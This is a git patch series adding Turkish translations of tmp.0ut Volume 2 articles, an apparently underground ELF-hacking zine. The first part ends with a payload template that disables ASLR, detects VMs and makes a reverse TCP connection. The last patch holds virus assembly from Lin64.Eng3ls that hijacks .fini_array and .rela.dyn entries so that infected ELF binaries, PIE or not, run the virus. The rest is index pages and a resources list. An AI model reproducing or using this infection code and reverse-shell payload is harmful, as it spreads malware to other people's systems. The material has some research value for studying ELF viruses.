+Ayrıca en üste bir sanallaştırma tespit yöntemi ve kodumuzun tek ana bilgisayarda zombi benzeri 
+davranışlar sergilemesini engellemek için bir dosya kilidi ayarlayalım.
+
+------------------------------- vm_and_stuff.asm -----------
+    BITS 64
+    %include "bmj.asm"
+    section .text
+    global _start
+    _start:
+        nops 40
+        flock                          ; Aynı anda çalışan yükler yalnızca tek bir işlem önceliğinde çalışmaya zorlanır
+        vm_age                         ; /etc/hostname'in STATX yapısını inceleyerek bir VM içerisinde başlayıp başlamadığımızı kontrol eder
+        disable_aslr                   ; Gelecekteki kullanımlar için ASLR devre dışı bırakılır
+        sock_connect "127.0.0.1", 6666 ; Reverse TCP pingback adresi
+        padd_byte 256, 0x90            ; Nasm ile oluşturulduktan sonra toplamda payload boyutunun 256 byte olması için '0x90' ile doldurulur.
+-------------------------------------------------------------
+
+
+Okuduğunuz için teşekkürler, III. sayıda görüşürüz ! o/
+
+[0] https://github.com/redcode-labs/BMJ
+
From 0bf4e0fe059bbcb0417e7b39b55e7c127e814765 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?M=2E=20Akil=20G=C3=BCndo=C4=9Fan?= <84398756+0xr3act0r@users.noreply.github.com> Date: Sun, 2 Jul 2023 22:58:44 +0300 Subject: [PATCH 08/13] Created index.html for tr --- 2/tr/index.html | 79 +++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 79 insertions(+) create mode 100644 2/tr/index.html diff --git a/2/tr/index.html b/2/tr/index.html new file mode 100644 index 0000000..cdeb21b --- /dev/null +++ b/2/tr/index.html @@ -0,0 +1,79 @@ + + +tmp.0ut + + + + + +
+            ┌─                                                                                    ─┐
+ ┌─VOLUME2─┐                                                                                        ┌─VOLUME2─┐ 
+▀▀▀▀▀ █▀▀▀▀▀▀  [00] Intro ......................................................... tmp.0ut Staff  ▀▀▀▀▀ █▀▀▀▀▀▀
+ │    █    │   [01] Bare Metal Jacket ................................................. Wintrmvte   │    █    │ 
+ │         │   [02] A short note on entrypoint obscuring in ELF binaries ................. s01den   │         │ 
+█▀▀▀▀ █▀▀▀▀▀█  [03] Some ELF Parser Bugs .............................................. netspooky  █▀▀▀▀ █▀▀▀▀▀█
+█│    ▀    │█  [04] every Boring Problem Found in eBPF .............................. FridayOrtiz  █│    ▀    │█
+ │         │   [05] SHELF encounters of the elements kind ................................ ulexec   │         │ 
+█▀▀▀▀▀▀▀▀▀▀▀█  [06] Preloading the linker for fun and profit .......................... elfmaster  █▀▀▀▀▀▀▀▀▀▀▀█
+█▀▀▀▀▀▀▀▀▀▀▀▀  [07] Lin64.M4rx: How to write a virtual machine in order to hide                    █▀▀▀▀▀▀▀▀▀▀▀▀
+ │         │▀       your viruses and break your brain forever ............................ s01den   │         │▀
+█▀▀▀▀▀▀▀▀▀▀▀█  [08] Lin64.M4rx.asm ....................................................... s01den  █▀▀▀▀▀▀▀▀▀▀▀█
+█▄▄▄▄▄▄▄▄▄▄▄█  [09] MARX OF THE BEAST - RE of Lin64.M4rx ................................. qkumba  █▄▄▄▄▄▄▄▄▄▄▄█
+ │         │   [10] A brief tour of VXnake by anonymous_ ............................. hexadecim8   │         │ 
+█│         │█  [11] Elf Binary Mangling Pt. 4: Limit Break ............................ netspooky  █│         │█
+█▄▄▄▄▄▄▄▄▄▄▄█  [12] Bashing ELFs Like a Caveman ............................................. RiS  █▄▄▄▄▄▄▄▄▄▄▄█
+ │         │   [13] BGGP2021 Wrapup ................................................... netspooky   │         │ 
+▀▀▀▀▀ █▀▀▀▀▀▀  [14] 84 byte aarch64 ELF ............................................... netspooky  ▀▀▀▀▀ █▀▀▀▀▀▀
+ │    █    │   [15] ELF Resources and Links ....................................... tmp.0ut Staff   │    █    │ 
+ └─FEB2022─┘                                                                                        └─FEB2022─┘ 
+            └─                                                                                    ─┘
+
+
From e6559d258203ecba0611eab8775952601fef5eee Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?M=2E=20Akil=20G=C3=BCndo=C4=9Fan?= <84398756+0xr3act0r@users.noreply.github.com> Date: Sun, 2 Jul 2023 23:02:16 +0300 Subject: [PATCH 09/13] added tr/ in index.html --- 2/index.html | 3 +++ 1 file changed, 3 insertions(+) diff --git a/2/index.html b/2/index.html index 2ccc665..4dcd80e 100644 --- a/2/index.html +++ b/2/index.html @@ -76,4 +76,7 @@ └─FEB2022─┘ └─FEB2022─┘ └─ ─┘ +TRANSLATIONS + + * tr/ From 59ec72a99c89d179952949c1a7de74405070841c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?M=2E=20Akil=20G=C3=BCndo=C4=9Fan?= <84398756+0xr3act0r@users.noreply.github.com> Date: Sun, 2 Jul 2023 23:21:52 +0300 Subject: [PATCH 10/13] translated into Turkish 15.html --- 2/tr/15.html | 45 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) create mode 100644 2/tr/15.html diff --git a/2/tr/15.html b/2/tr/15.html new file mode 100644 index 0000000..1590cec --- /dev/null +++ b/2/tr/15.html @@ -0,0 +1,45 @@ + + +ELF Kaynakları ve Linkleri + + + + +
+@@@@@@@  @@@@@@@@@@   @@@@@@@         @@@@@@@@   @@@  @@@  @@@@@@@
+@@@@@@@  @@@@@@@@@@@  @@@@@@@@       @@@@@@@@@@  @@@  @@@  @@@@@@@
+  @@!    @@! @@! @@!  @@!  @@@   2   @@!   @@@@  @@!  @@@    @@!
+  !@!    !@! !@! !@!  !@!  @!@   0   !@!  @!@!@  !@!  @!@    !@!
+  @!!    @!! !!@ @!@  @!@@!@!    2   @!@ @! !@!  @!@  !@!    @!!
+  !!!    !@!   ! !@!  !!@!!!     2   !@!!!  !!!  !@!  !!!    !!!
+  !!:    !!:     !!:  !!:            !!:!   !!!  !!:  !!!    !!:
+  :!:    :!:     :!:  :!:       :!:  :!:    !:!  :!:  !:!    :!:
+   ::    :::     ::    ::       :::  ::::::: ::  ::::: ::     ::
+   :      :      :     :        :::   : : :  :    : :  :      :
+
+[ @akilgundogan / M. Akil Gündoğan tarafından çevrilmiştir. ]
+Bizi takip eden ELF tutkunları!
+
+Yeni bir tmp.0ut projesinin şimdi yayına girdiğini duyurmaktan mutluluk duyuyorum:
+Harika ELF kaynaklarıyla dolu bir repo başlattık.
+
+Amacımız çeşitli araştırmalar için ELF ile kaynakların derlenmiş bir listesini sağlamak.
+Makaleler, bloglar, tam bilimsel araçlar ve uzaylı komplolarına kadar. ELF ile
+ilgili olduğu sürece bizim için her şey yolunda.
+
+Şu anda halihazırda repoya eklemiş olduğumuz birçok bağlantı mevcut fakat katkıda bulunmak
+isterseniz doğrudan repoda yer alan kılavuzumuzu okuyabilir veya Discord sunucumuzda
+yer alan link-and-resources kanalından öneri ve isteklerde bulunabilirsiniz.
+
+Repomuz: https://github.com/tmpout/awesome-elf
+Katkıda bulunmak için: https://github.com/tmpout/awesome-elf/blob/main/contributing.md
+Birkaç dokunuşta bulunmak için: https://github.com/tmpout/awesome-elf/issues/new/choose
+
+Umarım bu scene tarafına daha fazla ilgi çekmeye yardımcı olabilir ve birlikte ELF araştırmaları 
+üzerine en iyi repoyu oluşturabiliriz :)
+
+Bu yayını mümkün kıldığınız için size teşekkür ederim. Harikasınız!
+
+Siber uzaydaki arkadaşınızdan selamlar,
+TMZ
+
From 79e3ec1a8a1d42adaf70d4c375f6a5251d52e458 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?M=2E=20Akil=20G=C3=BCndo=C4=9Fan?= <84398756+0xr3act0r@users.noreply.github.com> Date: Mon, 3 Jul 2023 21:58:30 +0300 Subject: [PATCH 11/13] updated index.html for 15.html --- 2/tr/index.html | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/2/tr/index.html b/2/tr/index.html index cdeb21b..da36897 100644 --- a/2/tr/index.html +++ b/2/tr/index.html @@ -72,7 +72,7 @@ █▄▄▄▄▄▄▄▄▄▄▄█ [12] Bashing ELFs Like a Caveman ............................................. RiS █▄▄▄▄▄▄▄▄▄▄▄█ │ │ [13] BGGP2021 Wrapup ................................................... netspooky │ │ ▀▀▀▀▀ █▀▀▀▀▀▀ [14] 84 byte aarch64 ELF ............................................... netspooky ▀▀▀▀▀ █▀▀▀▀▀▀ - │ █ │ [15] ELF Resources and Links ....................................... tmp.0ut Staff │ █ │ + │ █ │ [15] ELF Resources and Links ....................................... tmp.0ut Staff │ █ │ └─FEB2022─┘ └─FEB2022─┘ └─ ─┘ From 6e9c3e9abc0a8937c73a33c63d35c2c00b066400 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?M=2E=20Akil=20G=C3=BCndo=C4=9Fan?= <84398756+0xr3act0r@users.noreply.github.com> Date: Tue, 19 Dec 2023 19:51:19 +0300 Subject: [PATCH 12/13] fixed minor style problems --- 2/tr/0.html | 2 +- 2/tr/1.html | 2 +- 2/tr/15.html | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/2/tr/0.html b/2/tr/0.html index 6a974aa..abea633 100644 --- a/2/tr/0.html +++ b/2/tr/0.html @@ -2,7 +2,7 @@ Giriş - +
diff --git a/2/tr/1.html b/2/tr/1.html
index 7c76807..9c86c3d 100644
--- a/2/tr/1.html
+++ b/2/tr/1.html
@@ -2,7 +2,7 @@
 
 Bare Metal Jacket
 
-
+
 
 
 
diff --git a/2/tr/15.html b/2/tr/15.html
index 1590cec..2b9253f 100644
--- a/2/tr/15.html
+++ b/2/tr/15.html
@@ -2,7 +2,7 @@
 
 ELF Kaynakları ve Linkleri
 
-
+
 
 
 

From 557d32fdb7791bc6af20ace2e4bc48c69cf4ce0d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?M=2E=20Akil=20G=C3=BCndo=C4=9Fan?=
 <84398756+0xr3act0r@users.noreply.github.com>
Date: Thu, 15 Feb 2024 00:20:38 +0300
Subject: [PATCH 13/13] translated into tr

---
 2/tr/2.html | 141 ++++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 141 insertions(+)
 create mode 100644 2/tr/2.html

diff --git a/2/tr/2.html b/2/tr/2.html
new file mode 100644
index 0000000..c66f0a4
--- /dev/null
+++ b/2/tr/2.html
@@ -0,0 +1,141 @@
+
+
+A short note on entrypoint obscuring in ELF binaries
+
+
+
+
+
+                ___________                              __
+                \__    ___/____ ______      ____  __ ___/  |_
+                  |    | /     \\____ \    /  _ \|  |  \   __\
+                  |    ||  Y Y  \  |_> >  (  <_> )  |  /|  |
+                  |____||__|_|  /   __/ /\ \____/|____/ |__|
+                              \/|__|    \/
+
++----------------------------------------------------------------------------+
+|::::::::::| A short note on entrypoint obscuring in ELF binaries |::::::::::|
++----------------------------------------------------------------------------+
+
+s01den'den sevgilerle.
+[ M. Akil Gündoğan tarafından çevrilmiştir. ]
+
+--------------------------------------------------------------------------------
+Önceki yayınımızda Sblip ve ben, sizlere x64 ELF dosyalarını enfekte eden virüs-
+ümüz Lin64.Eng3ls'ı sunmuştuk. Bu virüs birtakım havalı anti-RE tekniklerini;
+basit şifreleme, entrypoint gizleme (EPO/entrypoint obscuring) ve bir ptrace
+çağrısı kullanılarak .init_array hijacking yoluyla debugger tespit yöntemlerini
+içeriyordu.
+
+======================== tmp.0ut #1'den kısa bir hatırlatma ========================
+EPO yöntemi uygulanmayan virüslerde, entrypoint virüsün bulaştığı dosyalarda virüsün
+başlangıç noktasıyla değiştirilirken, EPO virüslerinde virüsler daha farklı yollarla
+çağırılabilirler. Bu virüslerde virüse ait kodlar ister başka bir yolla, ister
+burada olduğu gibi gizlenmiş bir jump çağrısı ile çağırılabilirler. Bu teknik
+yürütülebilir dosya formatının kötüye kullanılmasıyla gerçekleştirilir.
+=====================================================================================
+
+Eng3ls'da EPO tekniği, virüsün ilk komutuna işaret etmesi için .fini_array section'ı
+üzerinde (destructor'ı gösteren bir pointer ifade eden) içeren birtakım değişiklikler 
+yapıldı. Ancak virüsü yazdığımız sıralarda bu tekniğin sadece PIE (Position Independent 
+Executable olmayan dosyalar için işe yaradığını düşünüyorduk, haliyle Eng3ls bu nedenle
+çok fazla dosyaya bulaşamıyordu. Tekniğimizin PIE dosyaları için çalışmasını bir türlü
+sağlayamamıştık.
+
+Fakat Tmp.0ut #1'in yayınlanmasından birkaç ay sonra bu sorunu tamamen çözmek amacıyla
+debugger'ı başlattım. Sorun destructor pointer'ının tutulduğu farklı bir yerin olmasıydı:
+.rela.dyn section'undaki bir entrypoint noktası. Bu durumda sadece virüsün ilk komutunun
+adresini patchlememiz aslında yeterliymiş!
+
+--------------------------- KES-BURAYI -----------------------------
+parse_shdr:
+  xor rcx, rcx
+  xor rdx, rdx
+  mov cx, word [rax+e_hdr.shnum]     ;  rcx program header tablosundaki entry sayısını tutar
+  mov rbx, qword [rax+e_hdr.shoff]   ;  rbx program header tablosunun offset'ini tutar 
+  mov dx, word [rax+e_hdr.shentsize] ;  rdx program header tablosundaki entry boyutunu tutar
+
+loop_shdr:
+  add rbx, rdx
+  dec rcx
+  cmp dword [rax+rbx+e_shdr.type], 0x0F ; 0x0F = SHT_FINI_ARRAY, EPO tekniğini uygulamak amacıyla değiştirmek istediğimiz section (.fini_array)
+  je dtor_found
+  cmp rcx, 0
+  jg loop_shdr
+
+dtor_found:
+  mov rdi, qword [rax+rbx+e_shdr.offset]
+  mov r12, qword [rax+rdi]
+
+  xor rcx, rcx
+  xor rdx, rdx
+  mov cx, word [rax+e_hdr.shnum]     ; rcx program header tablosundaki entry sayısını tutar
+  mov rbx, qword [rax+e_hdr.shoff]   ; rbx program header tablosunun offset'ini tutar
+  mov dx, word [rax+e_hdr.shentsize] ; rdx program header tablosundaki entry boyutunu tutar table
+  loop_shdr_2:
+    add rbx, rdx
+    dec rcx
+    cmp dword [rax+rbx+e_shdr.type], 0x04 ; 0x04 = SHT_RELA, EPO tekniğinin çalışması için bu section'a ait entry'i değiştirmemiz gerekiyor.
+    je rela_dyn_found
+    cmp rcx, 0
+    jg loop_shdr_2
+
+  ; ELF'in PIE olup olmamasına göre adres hesaplanır
+  check_pie:
+    pop rdi
+    cmp word [rax+e_hdr.type], 2
+    je check_non_pie
+    cmp qword [rax+rdi], 0x00006000
+    jng continue_infect
+    mov rdi, r8
+    mov rax, 3            ; close sistem çağrısı
+    syscall
+    mov rsp, rbp
+    ret
+
+  check_non_pie:
+    cmp qword [rax+rdi], 0x0c000000
+    jng continue_infect
+    mov rdi, r8
+    mov rax, 3            ; close sistem çağrısı
+    syscall
+    mov rsp, rbp
+    ret
+
+  ; .rela.dyn section'ını bulduğumuzda çağırılacak
+  rela_dyn_found:
+    push rdi
+    mov rdi, qword [rax+rbx+e_shdr.offset]
+    xor rcx, rcx
+    .loop:
+      lea rbx, [rdi+rcx*8]
+      mov r10, qword [rax+rbx] ; r10 section'dan elde ettiğimiz adresi tutar
+      cmp r10, r12 ; r12 .fini_array section'ında tutulan (biz düzenleme yapmadan önceki) adresi tutar 
+      jne .continue ; değiştireceğimiz doğru adresi bulana kadar döngü sağlanır
+      mov qword [rax+rbx], r9 ; doğru adres bulunduğunda virüsün EP (entrypoint) adresi ile değiştirilir
+      mov rcx,0xf
+      .continue:
+      inc rcx
+      cmp rcx, 0x10
+      jne .loop
+    jmp check_pie
+
+  continue_infect:
+  mov [rax+rdi], r9 ; virüsün EP adresini .fini_array section'ına yazdık.
+  ;           ...
+  ; değişiklikleri uygula
+--------------------------------------------------------------------------------
+
+Artık PIE olmuş olmamış fark etmeksizin her x64 ELF dosyasına EPO tekniğini kullanarak
+virüsümüzü bulaştırabiliriz.
+Her ELF dosyası? Hayır aslında tam olarak değil... Bunu bir sonraki sayımızda göreceğiz!
+
+Günün güzel geçsin!
+
+------> Sevgiler:
+Sblip, TMZ, netsp00ky, smelly, tmp.0ut ekibi, Sh4ll, 0kb, Xylit0l ve underground 
+kültürünü yaşatan diğer tüm kimselere!
+Infosec camiası ve bütün kapitalist domuzların canı cehenneme.
+
+
+